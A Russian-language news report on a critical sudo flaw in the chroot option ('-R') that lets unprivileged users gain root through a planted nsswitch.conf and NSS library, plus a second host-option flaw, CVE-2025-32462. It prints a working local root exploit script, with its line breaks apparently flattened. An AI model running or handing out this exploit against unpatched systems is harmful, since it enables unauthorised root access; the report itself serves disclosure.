11:25, 04 июля 2025

Выявлена критическая уязвимость в утилите sudo, позволяющая получить права root в системе

В коде утилиты sudo, применяемой для организации выполнения команд от имени других пользователей, выявлена критическая уязвимость , позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers.

Читать на сайте

Исследователи выяснили, что проблеме подвержены дистрибутивы Linux, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.

По информации OpenNET, уязвимость проявляется в конфигурации по умолчанию и подтверждена в версиях sudo с 1.9.14 по 1.9.17 и потенциально затрагивает все выпуски утилиты, начиная с номера 1.8.33.

Проблема устранена разработчиками в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).

Проблема вызвана тем, что при применении опции «‑R» («‑chroot») для запуска команд в chroot‑окружении с выбранным пользователем корневым каталогом, файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.

Пример эксплойта для уязвимости в sudo:

#!/bin/bashSTAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)cd ${STAGE?} || exit 1cat > woot1337.c#include __attribute__((constructor)) void woot(void) {  setreuid(0,0);  setregid(0,0);  chdir("/");  execl("/bin/bash", "/bin/bash", NULL);}EOFmkdir -p woot/etc libnss_echo "passwd: /woot1337" > woot/etc/nsswitch.confcp /etc/group woot/etcgcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"sudo -R woot wootrm -rf ${STAGE?}

В версии sudo 1.9.17p1 разработчиками также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр host в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из‑за которой опция «‑h» («‑host») действовала не только в сочетании с опцией «‑l» («‑list») для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.

Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано «testuser testhost = ALL», то пользователь «testuser» мог указать «sudo ‑h testhost» и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида «testuser ALL = ALL» или без явных правил для конкретного пользователя.

Обсудить